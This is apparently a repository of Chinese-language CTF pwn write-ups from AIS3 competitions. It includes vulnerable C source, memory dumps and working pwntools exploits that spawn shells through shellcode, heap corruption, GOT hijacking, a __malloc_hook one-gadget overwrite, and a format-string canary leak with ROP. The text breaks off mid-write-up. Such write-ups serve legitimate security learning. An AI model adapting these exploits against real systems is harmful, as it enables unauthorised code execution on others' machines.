46 | 0x7ffe88be2740:            | 0x0035333100333931      0x0000323900363831 |
47 | 0x7ffe88be2750:            | 0x0000313200003934      0x0000373200323631 |
48 | 0x7ffe88be2760:            | 0x00003935e4003039      0x9039393100333631 |
49 |                             --------------------------------------------
50 | 0x7ffe88be2770:              0x00007ffe88be2780      0x0000558ae45e0e49 <- playBingo() 的 ret address
51 | 0x7ffe88be2780:              0x0000558ae45e0e50      0x00007f85b0bab830
52 | 
53 | 54 | 有了 stack address 之後,就可以在 stack 上寫 shellcode,然後 return 過去跑。 55 | 不過因為入長度不太夠,前面輸入數字那邊又有很多檢查,不能把 shellcode 直接寫在那邊。這裡我事先寫一段呼叫 `read` 的 shellcode (下圖**粗體**部分),把最後的 shellcode (下圖++底線++部分) 讀上 stack,中間斷層的部分就用 `nop` 填補。 56 | 57 |
58 | 0x7ffe88be2720:              0x00007f85b0f50620      0x00000010e45e0ef8
59 | 0x7ffe88be2730:              0x0000363800333831      0x0035313100373731
60 | 0x7ffe88be2740:              0x0035333100333931      0x0000323900363831
61 | 0x7ffe88be2750:              0x0000313200003934      0x0000373200323631
62 | 0x7ffe88be2760:              0x00003935e4003039      0x48da894c00333631
63 | 0x7ffe88be2770:              0x909090050f06ee83      0x490000003bc0c748
64 | 0x7ffe88be2780:              0x68732f6e69622fb8      0x3148e78948504100
65 | 0x7ffe88be2790:              0x0000050fd23148f6      0x00007ffe88be2868
66 | 
67 | 68 | 這樣一路滑下去之後就可以開 shell 了! 69 | 70 | flag: `FLAG{THIS_challenge_is_too_easy_QQ}` 71 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/Bingo/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | import ctypes 4 | 5 | #r = remote('127.0.0.1', 4000) 6 | r = remote('35.201.132.60', 12001) 7 | LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') 8 | LIBC.srand(0) 9 | 10 | context.arch = 'amd64' 11 | 12 | r.recvuntil('please input your numbers:') 13 | for i in range(15): 14 | val = LIBC.rand() % 200 15 | r.sendline(str(val)) 16 | log.success('send {}'.format(val)) 17 | r.send('199\x90') 18 | 19 | # leak stack address 20 | r.recvuntil('199\x90') 21 | stack_addr = u64(r.recvn(6).ljust(8, '\x00')) 22 | log.success('stack address: ' + hex(stack_addr)) 23 | 24 | # read sc2 to stack 25 | sc1 = asm(""" 26 | mov rdx, r11 27 | sub rsi, 6 28 | syscall 29 | """) 30 | 31 | payload = flat( 32 | sc1.ljust(12, '\x90'), 33 | p64(stack_addr-0x14)[:7] 34 | ) 35 | 36 | r.sendafter('Winner can leave message for others:', payload) 37 | 38 | sc2 = asm(""" 39 | mov rax, 59 40 | mov r8, 0x0068732f6e69622f 41 | push r8 42 | mov rdi, rsp 43 | xor rsi, rsi 44 | xor rdx, rdx 45 | syscall 46 | """) 47 | 48 | r.send(sc2) 49 | 50 | r.interactive() 51 | 52 | # FLAG{THIS_challenge_is_too_easy_QQ} 53 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/README.md: -------------------------------------------------------------------------------- 1 | # AIS3-EOF-qual 2 | 3 | 第一次在比賽中解出 500 分的 pwn,太感動了XD 4 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/dragon-slayer/README.md: -------------------------------------------------------------------------------- 1 | # dragon slayer 2 | 3 | ``` 4 | Arch: amd64-64-little 5 | RELRO: Full RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: PIE enabled 9 | ``` 10 | 11 | ## Analysis 12 | 13 | 這題是一個 RPG,我們有多個角色可以選用,目標是衝高等級之後打敗龍,在那之後還可以做一次程式自帶的任意寫入。不過基於遊戲的限制,在練到要求等級之前早就 timeout 了,另外因為這題開了 `FULL RELRO` 和 `PIE`,我們也需要先 leak 出一些位址資訊。 14 | 在找了好一陣子後終於發現,這支程式的漏洞就出在 `out_of_bound` 這個 function 15 | 16 | ```c 17 | int out_of_bound(Character *p){ 18 | // if (characters <= p && p <= characters+N) return 0; 19 | // 差點寫錯ㄏㄏ 20 | if (characters <= p && p < characters+N) return 0; 21 | return 1; 22 | } 23 | ``` 24 | 25 | 他只會檢查計算出來的指標是否在整個角色陣列的範圍內,卻沒有檢查這個指標是否確實指向某個 element 的開頭。可以看到算出 `p` 的過程如下,其中 `read_int()` 會讓我們輸入一個 `long long` 的值。 26 | 27 | ```c 28 | selected = read_int(); 29 | if (out_of_bound(&characters[selected])){ 30 | puts("You can not select this!!"); 31 | selected = -1; 32 | sel = NULL; 33 | exit(-1); 34 | } else { 35 | printf("%lld selected\n", selected); 36 | sel = &characters[selected]; 37 | 38 | ``` 39 | 40 | 所以如果輸入一個很大的值,讓計算 `p` 的時候加到 overflow 繞回來的時候歪掉,但結果依舊落在 `characters ` 內部,這樣就能夠透過操作這個不存在的角色來 leak 或 overwrite 其他角色的資訊。 41 | 42 | ``` 43 | | | 44 | characters -> --------------- 45 | | | 46 | | | 47 | characters+0x555555555555556 -> ------------------- 48 | | | | | 49 | characters+1 ->| --------------- | 50 | | | | | 51 | | | | | 52 | ------------------- 53 | | | 54 | characters+2 -> --------------- 55 | | | 56 | | | 57 | ``` 58 | 59 | ## Exploit 60 | 61 | * 首先我利用上述的方式,取得了一個橫跨其他角色結構的角色 (下圖**粗體**虛線處),就叫他 `chaos` 好了。 62 | 63 |
 64 |                    --------------------------------------------
 65 | 0x55ed0b7d8010:   | 0x0000796464616552      0x0000000000000000 |
 66 | 0x55ed0b7d8020:   | 0x0000000000000000      0x0000000000000000 |
 67 |                  ------------------------------------------------
 68 | 0x55ed0b7d8030: | | 0x000055ed0b7d8170      0x000000010000000a | |
 69 |                 |  --------------------------------------------  |
 70 | 0x55ed0b7d8040: | | 0x6567676e617a724f      0x6567676e617a724f | |
 71 | 0x55ed0b7d8050: | | 0x0000000000000000      0x0000000000000000 | |
 72 |                  ------------------------------------------------
 73 | 0x55ed0b7d8060:   | 0x000055ed0b7d8210      0x000000010000000a |
 74 |                    --------------------------------------------
 75 | 0x55ed0b7d8070:   | 0x6f6f6f6f6f6c6159      0x00000000776f6f6f |
 76 | 0x55ed0b7d8080:   | 0x0000000000000000      0x0000000000000000 |
 77 | 0x55ed0b7d8090:   | 0x000055ed0b7d82b0      0x000000010000000a |
 78 |                    --------------------------------------------
 79 | 0x55ed0b7d80a0:   | 0x0000006e69697247      0x0000000000000000 |
 80 | 0x55ed0b7d80b0:   | 0x0000000000000000      0x0000000000000000 |
 81 | 0x55ed0b7d80c0:   | 0x000055ed0b7d8350      0x000000010000000a |
 82 |                    --------------------------------------------
 83 | 0x55ed0b7d80d0:   | 0x65656565756c7542      0x0000000000006565 |
 84 | 0x55ed0b7d80e0:   | 0x0000000000000000      0x0000000000000000 |
 85 | 0x55ed0b7d80f0:   | 0x000055ed0b7d83f0      0x000000010000000a |
 86 |                    --------------------------------------------
 87 | 0x55ed0b7d8100:   | 0x006174656c6f6956      0x0000000000000000 |
 88 | 0x55ed0b7d8110:   | 0x0000000000000000      0x0000000000000000 |
 89 | 0x55ed0b7d8120:   | 0x000055ed0b7d8490      0x000000010000000a |
 90 |                    --------------------------------------------
 91 | 0x55ed0b7d8130:   | 0x676e696c70727550      0x0000000000000000 |
 92 | 0x55ed0b7d8140:   | 0x0000000000000000      0x0000000000000000 |
 93 | 0x55ed0b7d8150:   | 0x000055ed0b7d8530      0x000000010000000a |
 94 |                    --------------------------------------------
 95 | 
96 | 97 | * 接著我打算對 `chaos` 使用 `craft_weapon`,因為這會在 `0x55ed0b7d8050` 處填上新造武器的指標,接著只要使用 `list()`,在輸出 `"OrzanggeOrzangge"` 時就會 leak 出這個指標,從而取得 heap base。 98 | * 有了 heap base 之後,我先找個角色把他的武器玩壞並被 `free` 掉,讓 `unsorted bin` 的位址被填上該武器的 `durability` 欄位。接著我利用 `change_name` 來把 `Readdy` 的 `weapons` 蓋成指向這個武器 chunk 的 `fd` 欄位,這樣接下來 `list()` 的時候就可以取得 libc 位址資訊。 99 | * 有了 libc base 後就進入了最後階段,我再次用 `change_name` 把 `Readdy` 的 `energy` 和 `level` 蓋成很大的值,至於 `weapons` 則蓋成 `vsyscall` 中的位址來避免 `strcpy` 截斷內容。 100 | 101 | > vsyscall 的部分我在 local 測會壞掉,丟 remote 卻能順利運作,不清楚是甚麼原因 102 | 103 | 如此一來打敗龍的條件就滿足了,勝利之後我選擇在 `__malloc_hook` 寫入 one gadget,然後去造把武器觸發 `malloc` 就能夠開 shell 了。 104 | 105 | flag: `FLAG{1t_4ctually_IS_wi7hin_b0und...}` 106 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/dragon-slayer/dragon_slayer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/dragon-slayer/dragon_slayer -------------------------------------------------------------------------------- /AIS3-EOF-qual/dragon-slayer/dragon_slayer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #define N 7 6 | 7 | // 放棄ㄅ,這支程式沒有漏洞的>.0 8 | // 現在放棄寒假就開始了 9 | 10 | void menu(){ 11 | puts("====================================="); 12 | puts("Welcome to suuuuuuuper secure RPG - Dragon Slayer!!"); 13 | puts("You can save the world!!!!!"); 14 | // 其實不能 15 | puts("Please choose what you want to do:"); 16 | puts("1. List characters"); 17 | puts("2. Select character"); 18 | puts("3. Start game"); 19 | puts("87. Exit game"); 20 | puts("====================================="); 21 | } 22 | 23 | void game_menu(){ 24 | puts("====================================="); 25 | puts("GL&HF!!"); 26 | puts("Please choose what you want to do:"); 27 | puts("1. Fight the mighty dragon"); 28 | puts("2. Fight slime"); 29 | puts("3. Craft weapon"); 30 | puts("4. Sleep"); 31 | puts("5. Change name"); 32 | puts("87. Back to menu"); 33 | puts("====================================="); 34 | } 35 | 36 | int read_n(char *buf, int n){ 37 | int ret = read(0, buf, n); 38 | if (ret <= 0){ 39 | puts("read error!"); 40 | exit(-1); 41 | } 42 | buf[ret-1] = '\0'; 43 | return ret; 44 | } 45 | 46 | long long read_int(){ 47 | char buf[32]; 48 | read_n(buf, 31); 49 | return atoll(buf); 50 | } 51 | 52 | // 名字我想超久der 53 | char *names[N] = { 54 | "Readdy", 55 | "OrzanggeOrzangge", 56 | "Yaloooooooow", 57 | "Griin", 58 | "Bulueeeeee", 59 | "Violeta", 60 | "Purpling", 61 | }; 62 | 63 | typedef struct Weapon{ 64 | long long durability; 65 | char description[128]; 66 | struct Weapon *next; 67 | } Weapon; 68 | 69 | typedef struct Character{ 70 | char name[32]; 71 | Weapon *weapons; 72 | int energy; 73 | int level; 74 | } Character; 75 | 76 | Character *characters; 77 | int changed_name_cnt, dragon_dead; 78 | 79 | Weapon* new_weapon(char *name, Weapon *next){ 80 | Weapon *tmp = malloc(sizeof(Weapon)); 81 | sprintf(tmp->description, "%s's weapon", name); 82 | tmp->durability = 3; 83 | tmp->next = next; 84 | return tmp; 85 | } 86 | 87 | void init(){ 88 | characters = malloc(sizeof(Character)*N); 89 | for (int i = 0; i < N; ++i){ 90 | strcpy(characters[i].name, names[i]); 91 | characters[i].level = 1; 92 | characters[i].energy = 10; 93 | characters[i].weapons = new_weapon(names[i], 0); 94 | } 95 | } 96 | 97 | void list_character(){ 98 | for (int i = 0; i < N; ++i){ 99 | puts("-------------------------------------"); 100 | printf("Character %d\n", i); 101 | printf("Name: %s\n", characters[i].name); 102 | printf("Level: %d\n", characters[i].level); 103 | printf("Energy: %d\n", characters[i].energy); 104 | if (characters[i].weapons) 105 | printf("Weapon durability: %lld\n", characters[i].weapons->durability); 106 | } 107 | puts("-------------------------------------"); 108 | } 109 | 110 | int out_of_bound(Character *p){ 111 | // if (characters <= p && p <= characters+N) return 0; 112 | // 差點寫錯ㄏㄏ 113 | if (characters <= p && p < characters+N) return 0; 114 | return 1; 115 | } 116 | 117 | void fight_dragon(Character *selected){ 118 | if (dragon_dead){ 119 | puts("The Dragon is already dead."); 120 | return; 121 | } 122 | if (selected != &characters[0]){ 123 | // Yo~ 諧音梗 124 | puts("You can fight the dragon only when you are Readdy!!"); 125 | return; 126 | } 127 | if (selected->energy < 10){ 128 | puts("Not enough energy!!"); 129 | return; 130 | } 131 | selected->energy -= 10; 132 | // 反正你練到這ㄍ等級前就timeout了ㄏㄏ 133 | if (selected->level < 7122222){ 134 | puts("You are killed by the mighty dragon!!"); 135 | puts("So sad..."); 136 | exit(-1); 137 | } 138 | dragon_dead = 1; 139 | puts("You killed the mighty dragon!!!!!!!"); 140 | puts("You got the power to change the world!"); 141 | // people can't have the power to change the world 142 | long long addr, val; 143 | printf("Where to change: "); 144 | addr = read_int(); 145 | printf("What to change: "); 146 | val = read_int(); 147 | *(long long *)addr = val; 148 | puts("Thanks for saving the world!!"); 149 | } 150 | 151 | void fight_slime(Character *selected){ 152 | // 慢慢殺史萊姆升級ㄅ 153 | if (selected->energy < 1){ 154 | puts("Not enough energy!!"); 155 | return; 156 | } 157 | if (selected->weapons == NULL){ 158 | puts("Don't have weapons!!"); 159 | return; 160 | } 161 | if (selected->weapons->durability == 1){ 162 | Weapon *tmp = selected->weapons; 163 | selected->weapons = tmp->next; 164 | free(tmp); 165 | } else { 166 | --selected->weapons->durability; 167 | } 168 | --selected->energy; 169 | ++selected->level; 170 | } 171 | 172 | void craft_weapon(Character *selected){ 173 | if (selected->energy < 1){ 174 | puts("Not enough energy!!"); 175 | return; 176 | } 177 | selected->weapons = new_weapon("ballon", selected->weapons); 178 | --selected->energy; 179 | } 180 | 181 | void char_sleep(Character *selected){ 182 | // 要睡飽飽才有力氣ㄛ 183 | sleep(3); 184 | selected->energy += 10; 185 | } 186 | 187 | void change_name(Character *selected){ 188 | char buf[17]; 189 | // 一般遊戲都只給改一次名 190 | // 這給改兩次 191 | // 佛心公司 192 | if (changed_name_cnt < 2){ 193 | printf("New name: "); 194 | read_n(buf, 17); 195 | strcpy(selected->name, buf); 196 | ++changed_name_cnt; 197 | puts("Name changed!"); 198 | list_character(); 199 | } else { 200 | puts("Change name limit reached!!"); 201 | } 202 | } 203 | 204 | void start_game(Character *selected){ 205 | long long choice; 206 | while (1){ 207 | game_menu(); 208 | printf("Your choice: "); 209 | choice = read_int(); 210 | switch (choice){ 211 | case 1: 212 | fight_dragon(selected); 213 | break; 214 | case 2: 215 | fight_slime(selected); 216 | break; 217 | case 3: 218 | craft_weapon(selected); 219 | break; 220 | case 4: 221 | char_sleep(selected); 222 | break; 223 | case 5: 224 | change_name(selected); 225 | break; 226 | case 87: 227 | return; 228 | } 229 | } 230 | } 231 | 232 | int main(int argc, char *argv[]){ 233 | long long choice, selected = -1; 234 | Character *sel; 235 | alarm(60); 236 | setvbuf(stdin, NULL, _IONBF, 0); 237 | setvbuf(stdout, NULL, _IONBF, 0); 238 | init(); 239 | while (1){ 240 | // 不用看了 241 | // 沒有漏洞的 242 | // 現在放棄寒假就開始了 243 | menu(); 244 | printf("Your choice: "); 245 | choice = read_int(); 246 | switch (choice){ 247 | case 1: 248 | list_character(); 249 | break; 250 | case 2: 251 | printf("Select a character: "); 252 | selected = read_int(); 253 | if (out_of_bound(&characters[selected])){ 254 | puts("You can not select this!!"); 255 | selected = -1; 256 | sel = NULL; 257 | exit(-1); 258 | } else { 259 | printf("%lld selected\n", selected); 260 | sel = &characters[selected]; 261 | } 262 | break; 263 | case 3: 264 | if (selected == -1){ 265 | puts("You must select a character first!!"); 266 | } else { 267 | start_game(sel); 268 | } 269 | break; 270 | case 87: 271 | exit(0); 272 | break; 273 | default: 274 | puts("Invalid choice!"); 275 | } 276 | } 277 | } 278 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/dragon-slayer/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('35.201.132.60', 13337) 6 | libc = ELF('libc.so.6-14c22be9aa11316f89909e4237314e009da38883') 7 | 8 | def list(): 9 | r.sendlineafter('Your choice: ', '1') 10 | 11 | def select(idx): 12 | r.sendlineafter('Your choice: ', '2') 13 | r.sendlineafter('Select a character: ', str(idx)) 14 | 15 | def start(): 16 | r.sendlineafter('Your choice: ', '3') 17 | 18 | def fight_dragon(): 19 | r.sendlineafter('Your choice: ', '1') 20 | 21 | def fight_slime(): 22 | r.sendlineafter('Your choice: ', '2') 23 | 24 | def craft_weapon(): 25 | r.sendlineafter('Your choice: ', '3') 26 | 27 | def nap(): 28 | r.sendlineafter('Your choice: ', '4') 29 | 30 | def change_name(name): 31 | r.sendlineafter('Your choice: ', '5') 32 | r.sendafter('New name: ', name) 33 | 34 | def back_menu(): 35 | r.sendlineafter('Your choice: ', '87') 36 | 37 | def leave_game(): 38 | r.sendlineafter('Your choice: ', '87') 39 | 40 | # select a straddle character 41 | select(0x555555555555556) 42 | start() 43 | nap() 44 | craft_weapon() 45 | 46 | # leak heap base 47 | back_menu() 48 | list() 49 | r.recvuntil('Name: OrzanggeOrzangge') 50 | heap_base = u64(r.recvline()[:-1].ljust(8, '\x00')) - 0x5d0 51 | log.success('heap base: ' + hex(heap_base)) 52 | 53 | # select arbitrary character and exhausted its current weapon, which will be freed 54 | select(5) 55 | start() 56 | fight_slime() 57 | fight_slime() 58 | fight_slime() 59 | # chunk has libc address at heap_base + 0x480 60 | back_menu() 61 | select(0x555555555555556) 62 | start() 63 | change_name(p64(heap_base+0x480+0x10)[:7]+'\x00') 64 | r.recvuntil('Weapon durability: ') 65 | libc_base = int(r.recvline()[:-1]) - 0x3c4b78 66 | log.success('libc base: ' + hex(libc_base)) 67 | malloc_hook = libc_base + libc.symbols['__malloc_hook'] 68 | one_gadget = libc_base + 0xf0274 # constraint: [rsp+0x50] == NULL 69 | 70 | # overwrite Readdy's level and energy to 0x7fffffff, and defeat dragon, 71 | change_name(p64(0xffffffffff600804)+p64(0x7fffffff7fffffff)+'\x00') 72 | back_menu() 73 | select(0) 74 | start() 75 | fight_dragon() 76 | 77 | # overwrite malloc_hook to one gadget 78 | r.sendlineafter('Where to change: ', str(malloc_hook)) 79 | r.sendlineafter('What to change: ', str(one_gadget)) 80 | craft_weapon() 81 | 82 | r.interactive() 83 | 84 | # FLAG{1t_4ctually_IS_wi7hin_b0und...} 85 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/dragon-slayer/libc.so.6-14c22be9aa11316f89909e4237314e009da38883: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/dragon-slayer/libc.so.6-14c22be9aa11316f89909e4237314e009da38883 -------------------------------------------------------------------------------- /AIS3-EOF-qual/magicheap2/README.md: -------------------------------------------------------------------------------- 1 | # magicheap2 2 | 3 | ``` 4 | Arch: amd64-64-little 5 | RELRO: Partial RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x400000) 9 | ``` 10 | 11 | ## Analysis 12 | 13 | 程式一開始會要我們輸入名字,並且動態分配一塊空間用來紀錄等一下創建的空間 (以下稱這個指標為 `pool_ptr`)。接下來就進入選單模式,功能大致如下: 14 | 15 | ``` 16 | -------------------------------- 17 | Magic Heap Creator 18 | -------------------------------- 19 | 1. Create a Heap 20 | 2. Edit a Heap 21 | 3. Delete a Heap 22 | 4. Exit 23 | -------------------------------- 24 | Your choice : 25 | ``` 26 | 27 | * `Create`:分配一塊使用者指定大小的空間,並接受該大小的輸入至該空間 28 | * `Edit`:接受使用者輸入新的內容至先前分配的空間,輸入長度是新指定的,並且沒有對應的檢查,因此這裡可以進行直接的 heap overflow 29 | * `Delete`:釋放掉一塊先前分配的空間 30 | 31 | 所以重點會在如何利用這個 heap overflow 來做事,我是利用了 fastbin corruption。 32 | 33 | ## Exploit 34 | 35 | 首先,在輸入名字的時候我構造了一些內容進去 (下圖**粗體**部分),而在 `name_buf` 後面的就是前面提到的 `pool_ptr`: 36 | 37 |
38 |                   free@got.plt           malloc@got.plt
39 |                         ↓                       ↓
40 | 0x6020a0:       0x0000000000602018      0x0000000000602050
41 | 0x6020b0:    -→ 0x0000000000000021      0x0000000001c83010
42 | 0x6020c0:    |  0x0000000000000000      0x0000000000000000
43 |              |
44 |       fake chunk size
45 | 
46 | 47 | 接著我利用 fastbin corruption,取得位於 `name_buf+8` 的 fake chunk,並在輸入內容的時候將 `name_ptr` 的值蓋成 `name`。如此一來我就能夠利用 `Edit` 功能來修改我一開始擺在 `name` 的指標指向的內容,從而做到 GOT hijacking。 48 | 這裡我是先用 `Edit(0)` 來把 `free@got.plt` 蓋成 `puts@plt`,這樣我就可以用 `Delete(1)` 來 leak 出 `malloc` 的位址,並取得 libc base。最後我再次使用 `Edit(0)` 將 `free@got.plt` 蓋成 one gadget,然後使用 `Delete` 功能觸發 `free` 來開 shell。 49 | 50 | flag: `FLAG{h34p_0verfl0w_is_e4ay_for_u}` 51 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/magicheap2/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('35.201.132.60', 50216) 6 | libc = ELF('libc.so.6-14c22be9aa11316f89909e4237314e009da38883') 7 | 8 | def create(size, content): 9 | r.sendlineafter('Your choice :', '1') 10 | r.sendlineafter('Size of Heap : ', str(size)) 11 | r.sendafter('Content of heap:', content) 12 | 13 | def edit(idx, size, content): 14 | r.sendlineafter('Your choice :', '2') 15 | r.sendlineafter('Index :', str(idx)) 16 | r.sendlineafter('Size of Heap : ', str(size)) 17 | r.sendlineafter('Content of heap : ', content) 18 | 19 | def delete(idx): 20 | r.sendlineafter('Your choice :', '3') 21 | r.sendlineafter('Index :', str(idx)) 22 | 23 | name_buf = 0x6020a0 24 | free_got = 0x602018 25 | puts_plt = 0x4006b0 26 | malloc_got = 0x602050 27 | 28 | r.sendafter('Name:', p64(free_got)+p64(malloc_got)+p64(0x21)) 29 | 30 | # overwrite fd of fastchunk to fake chunk on name_buf 31 | create(0x30-8, 'A'*8) # 0 32 | create(0x20-8, 'B'*8) # 1 33 | delete(1) 34 | edit(0, 0x100, 'A'*0x20 + p64(0) + p64(0x21) + p64(name_buf+8)) 35 | 36 | # get fake chunk, GOT hijack free() -> puts() 37 | create(0x20-8, 'C'*8) # 1 38 | create(0x20-8, p64(name_buf)) # 2 39 | edit(0, 0x100, p64(puts_plt)) 40 | 41 | # free(pointer_pool[1]) -> puts(malloc_got) 42 | # leak libc address 43 | delete(1) 44 | libc_base = u64(r.recvline()[:-1].ljust(8, '\x00')) - libc.symbols['malloc'] 45 | log.success('libc base: ' + hex(libc_base)) 46 | one_gadget = libc_base + 0xf0274 # constraint: [rsp+0x50] == NULL 47 | 48 | # GOT hijack free() -> one gadget 49 | edit(0, 0x100, p64(one_gadget)) 50 | delete(0) 51 | 52 | r.interactive() 53 | 54 | # FLAG{h34p_0verfl0w_is_e4ay_for_u} 55 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/magicheap2/libc.so.6-14c22be9aa11316f89909e4237314e009da38883: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/magicheap2/libc.so.6-14c22be9aa11316f89909e4237314e009da38883 -------------------------------------------------------------------------------- /AIS3-EOF-qual/magicheap2/magicheap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/magicheap2/magicheap -------------------------------------------------------------------------------- /AIS3-EOF-qual/writeme/README.md: -------------------------------------------------------------------------------- 1 | # writeme 2 | 3 | ``` 4 | Arch: amd64-64-little 5 | RELRO: No RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x400000) 9 | ``` 10 | 11 | 程式會印出我們指定位址的值,並讓我們輸入 8bytes 的內容來把它蓋掉。 12 | 這裡我是指定 `printf` 的 GOT,在得到 libc base 之後就用 one gadget 蓋掉它來開 shell。 13 | 14 | flag: `FLAG{y33SuTd5GsmOPwonYWqePbS3y3R9Tz33}` 15 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/writeme/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('35.194.194.168', 6666) 6 | libc = ELF('libc.so') 7 | 8 | printf_got= 0x600bb8 9 | 10 | r.sendlineafter('Where u want to write :', str(printf_got)) 11 | 12 | r.recvuntil('Value of {}='.format(hex(printf_got))) 13 | libc_base = int(r.recvline()[:-1], 16) - libc.symbols['printf'] 14 | log.success('libc base: ' + hex(libc_base)) 15 | one_gadget = libc_base + 0x45216 # constraint: rax == NULL 16 | 17 | r.sendlineafter('What value u want to write :', str(one_gadget)) 18 | 19 | r.interactive() 20 | 21 | # FLAG{y33SuTd5GsmOPwonYWqePbS3y3R9Tz33} 22 | -------------------------------------------------------------------------------- /AIS3-EOF-qual/writeme/libc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/writeme/libc.so -------------------------------------------------------------------------------- /AIS3-EOF-qual/writeme/writeme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/writeme/writeme -------------------------------------------------------------------------------- /AIS3_2016_finalCTF/README.md: -------------------------------------------------------------------------------- 1 | # AIS3_2016_finalCTF 2 | -------------------------------------------------------------------------------- /AIS3_2016_finalCTF/Remote1/README.md: -------------------------------------------------------------------------------- 1 | Remote1 2 | ========== 3 | 這算是我第一次參加CTF比賽第一道解出來,也是唯一在時間內解出來的題目XD。 4 | 5 | 解題流程 6 | ---------- 7 | 題目一執行就說是 echo service,除了 quit,輸入什麼就輸出什麼。但當我們輸入像這樣的東西: 8 | 9 | Welcome to the simple echo service 10 | 11 | [type 'quit' to quit] prompt> %lx 12 | 40095f 13 | 就知道存在 format string 的漏洞。另外若是輸入達一定的長度,quit 離開時會出現 **stack smashing detected** 的警告,代表同時存在 buffer overflow 的漏洞,但有開啟 stack canary 進行保護。 14 | 15 | 所以想法是:先 leak 出 stack canary 在 stack 上存的的值,再 overflow 到 return address,利用程式自帶的 ```system``` 函式和 ```"/bin/sh"``` 字串開 shell。 16 | 17 | 首先確認第幾個參數開始是我們可以控制的 18 | 19 | Welcome to the simple echo service 20 | 21 | [type 'quit' to quit] prompt> AAAAAAAA%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx 22 | AAAAAAAA40095f 0 71 7f7ef559a700 1e 23 30f5395620 4141414141414141 20786c2520786c25 20786c2520786c25 23 | 24 | 可以得知第 8 個參數開始是我們可控的內容。接下來確認一下 stack canary 存的變數的位址 25 | 26 | 4007aa: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 27 | 4007b1: 00 00 28 | 4007b3: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 29 | 30 | 發現是放在 rbp-0x8 的地方。再來可以透過 gdb 觀察 buffer 和這個位址的偏移 31 | 32 | (gdb) p $rbp 33 | $1 = (void *) 0x7fffffffe350 34 | (gdb) x/8gx $rsp 35 | 0x7fffffffe320: 0x0000000000000023 0x00007ffff7dd4620 36 | 0x7fffffffe330: 0x4141414141414141 0x00007ffff7a9f90a 37 | 0x7fffffffe340: 0x0000000000000000 0xfc9c8b7ab91cc800 38 | 0x7fffffffe350: 0x00007fffffffe360 0x000000000040088a 39 | 40 | 因此我們可以從第 8+3=11 個參數得到該變數。 41 | 42 | 接著要進行 overflow 時,將剛剛 leak 出的值蓋在原來的位置上,如此一來便能夠通過 **__stack_chk_fail** 的檢查,成功蓋到 retuen address 而不會被擋下來。 43 | 利用 ROPgadget,可以找到 ```pop rdi ; ret``` 這個 gadget。透過他,我們就可以構造 **system("/bin/sh")** 這個 function call 來取得 shell。 44 | 45 | ```python 46 | payload = 'A'*24 + p64(canary) + 'B'*8 + p64(pop_rdi_ret) + p64(binsh) + p64(system) 47 | ``` 48 | -------------------------------------------------------------------------------- /AIS3_2016_finalCTF/Remote1/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | import re 4 | 5 | s = remote('127.0.0.1',4000) # for local testing 6 | #s = remote('final.ais3.org',32164) 7 | 8 | system = 0x0000000000400630 9 | pop_rdi_ret = 0x0000000000400903 10 | binsh = 0x400928 11 | 12 | print s.recv() 13 | 14 | payload = '<%11$lx>' 15 | s.sendline(payload) 16 | 17 | rst = s.recv() 18 | 19 | canary = int(re.findall(r'<(.*)>',rst)[0],16) 20 | 21 | payload = 'A'*24 + p64(canary) + 'B'*8 + p64(pop_rdi_ret) + p64(binsh) + p64(system) 22 | s.sendline(payload) 23 | 24 | s.sendline('quit') 25 | 26 | s.interactive() 27 | -------------------------------------------------------------------------------- /AIS3_2016_finalCTF/Remote2/README.md: -------------------------------------------------------------------------------- 1 | Remote2 2 | ========== 3 | 這題在比賽當天沒有想出來,後來看到別人的想法才摸出來的,不過實作上也花了一些時間。 4 | 主要用到 stack migration 和 ROP 來做。 5 | 6 | 解題流程 7 | ---------- 8 | 程式一開始會執行 "lsh",之後逐字讀取 64bytes 到 buffer 上,然後就馬上 retuen。 9 | 先用 gdb 觀察一下 buffer 和 rbp 的距離,rbp此時為 0x7ffc98f88e1。 10 | 11 | (gdb) x/10gx $rsp 12 | 0x7fffffffdf50: 0x4141414141414141 